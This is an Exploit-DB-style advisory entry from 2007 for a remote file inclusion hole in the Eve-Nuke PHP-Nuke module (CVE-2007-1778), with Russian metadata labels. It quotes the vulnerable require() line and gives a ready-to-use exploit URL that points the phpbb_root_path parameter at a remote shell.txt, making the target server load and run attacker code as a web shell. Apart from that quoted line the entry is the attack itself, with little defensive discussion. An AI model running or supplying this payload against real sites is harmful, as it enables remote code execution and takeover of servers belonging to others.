Exploit PHP-Nuke Module Eve-Nuke 0.1 - 'mysql.php' Remote File Inclusion

[Exploiter]

EDB-ID

3591

Проверка EDB

1. Пройдено

Автор

THE TIGER

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-1778

Дата публикации

2007-03-27

#===========================================================================================
#Eve-NukePortal file include (phpbb_root_path)
#===========================================================================================
#
#Script name :Eve-Nuke Portal
#
#Download script : http://puzzle.dl.sourceforge.net/sourceforge/eve-nuke/en-forums-beta.zip
#
#===========================================================================================
#Vulnerable Code :
#
#require($phpbb_root_path . 'includes/functions_nuke.'.$phpEx);
#
#===========================================================================================
#Exploit :
#
#http://www.site.com/modules/EN-Forums/db/mysql.php?phpbb_root_path=http://www.site.com/shell.txt?
#
#===========================================================================================
#
#Discoverd By : ThE TiGeR
#
#Contact : miro_tiger100[at]hotmail[dot]com
#
#===========================================================================================

# milw0rm.com [2007-03-27]